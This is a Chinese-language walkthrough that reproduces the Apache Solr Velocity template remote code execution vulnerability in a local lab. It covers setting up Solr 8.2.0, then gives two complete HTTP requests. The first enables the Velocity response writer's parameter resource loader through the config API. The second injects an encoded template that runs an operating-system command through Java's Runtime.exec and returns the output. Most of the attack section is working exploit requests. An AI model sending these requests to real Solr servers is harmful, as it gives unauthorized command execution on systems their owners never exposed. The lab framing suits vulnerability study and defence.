天天看點

Apache Solr Velocity模闆遠端代碼執行漏洞複現

  1. 下載下傳漏洞環境https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/8.2.0/solr-8.2.0.zip
    Apache Solr Velocity模闆遠端代碼執行漏洞複現
  2. 解壓以後,進入

    solr-8.1.0/bin

    目錄

    使用

    ./solr -e dih -force

    開啟漏洞環境
    Apache Solr Velocity模闆遠端代碼執行漏洞複現
  3. 通路

    http://youip:8983/solr/#/

    進入主界面
    Apache Solr Velocity模闆遠端代碼執行漏洞複現
  4. 點選左側的

    Core Selector

    檢視集合名稱,可以看到每個項目下都有config檔案,下面以db示範。
    Apache Solr Velocity模闆遠端代碼執行漏洞複現
  5. 使用如下payload

    修改集合設定

    POST /solr/db/config HTTP/1.1
    Host: youip:8983
    Pragma: no-cache
    Cache-Control: no-cache
    Accept: application/json, text/plain, */*
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36
    Accept-Encoding: gzip, deflate
    Content-Type: application/json
    Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6
    Connection: close
    Content-Length: 263
    
    {
      "update-queryresponsewriter": {
        "startup": "lazy",
        "name": "velocity",
        "class": "solr.VelocityResponseWriter",
        "template.base.dir": "",
        "solr.resource.loader.enabled": "true",
        "params.resource.loader.enabled": "true"
      }
    }
               
    Apache Solr Velocity模闆遠端代碼執行漏洞複現
  6. 指令執行
    GET /solr/db/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
    Host: youip:8983
    Pragma: no-cache
    Cache-Control: no-cache
    Accept: application/json, text/plain, */*
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36
    Accept-Encoding: gzip, deflate
    Content-Type: application/json
    Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6
    Connection: close
    Content-Length: 0
               
    Apache Solr Velocity模闆遠端代碼執行漏洞複現

繼續閱讀